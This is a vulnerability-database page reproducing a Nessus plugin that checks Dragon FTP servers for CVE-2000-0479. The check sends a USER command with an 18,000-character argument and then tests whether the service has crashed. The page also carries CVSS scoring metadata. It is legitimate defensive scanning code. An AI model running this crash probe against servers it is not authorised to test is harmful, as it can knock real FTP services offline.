Lucene search

K
nessusThis script is Copyright (C) 2000-2024 and is owned by Tenable, Inc. or an Affiliate thereof.DRAGON_FTP.NASL
HistoryJun 27, 2000 - 12:00 a.m.

Dragon FTP USER Command Remote Overflow

2000-06-2700:00:00
This script is Copyright (C) 2000-2024 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
105

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

8.1 High

AI Score

Confidence

High

0.003 Low

EPSS

Percentile

70.5%

It was possible to crash the remote FTP server by issuing a USER command followed by a very long argument (over 16,000 characters).
This is likely due to a remote buffer overflow vulnerability. A remote attacker could exploit this to crash the server, or possibly execute arbitrary code.

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if(description)
{
 script_id(10450);
 script_version("1.28");
 script_cve_id("CVE-2000-0479");
 script_bugtraq_id(1352);

 script_name(english:"Dragon FTP USER Command Remote Overflow");
 script_summary(english:"Attempts a USER buffer overflows");
 
 script_set_attribute(
   attribute:"synopsis",
   value:"The remote FTP server has a remote buffer overflow vulnerability."
 );
 script_set_attribute(attribute:"description", value:
"It was possible to crash the remote FTP server by issuing a USER
command followed by a very long argument (over 16,000 characters).
This is likely due to a remote buffer overflow vulnerability.  A
remote attacker could exploit this to crash the server, or possibly
execute arbitrary code." );
 script_set_attribute(
   attribute:"solution", 
   value:"Upgrade to the latest version of your FTP server."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
 script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
 script_set_attribute(attribute:"cvss_score_source", value:"CVE-2000-0479");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2000/06/27");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/06/16");
 script_set_attribute(attribute:"plugin_modification_date", value:"2024/01/16");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DENIAL);
 script_family(english:"FTP");
 
 script_copyright(english: "This script is Copyright (C) 2000-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");

 script_dependencies("find_service1.nasl", "ftp_anonymous.nasl", "ftpserver_detect_type_nd_version.nasl");
 script_require_ports("Services/ftp", 21);

 exit(0);
}

include("ftp_func.inc");

port = get_ftp_port(default: 21);

soc = open_sock_tcp(port);
if (! soc) exit(1, "Cannot connect to TCP port "+port+".");

dbg::detailed_log(name:'ftp_func', src:SCRIPT_NAME, lvl:2, msg:"Getting the FTP banner.");
r = ftp_recv_line(socket:soc);
if (! r)
{
  close(soc);
  exit(1, "Cannot read the FTP banner from port "+port+".");
}

  req = ('USER ' + crap(18000) + '\r\n');
  send(socket:soc, data:req);
  r = ftp_recv_line(socket:soc);
  close(soc);
  sleep(1);

if (service_is_dead(port: port, exit: 0) > 0)
{
  security_hole(port);
  exit(0);
}

if (report_paranoia >= 2)
{
  soc2 = open_sock_tcp(port);
  if (soc2)
  {
    r2 = ftp_recv_line(socket:soc2, retry: 2);
    close(soc2);
  }
  if(!r2) security_hole(port);
}

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

8.1 High

AI Score

Confidence

High

0.003 Low

EPSS

Percentile

70.5%

Related for DRAGON_FTP.NASL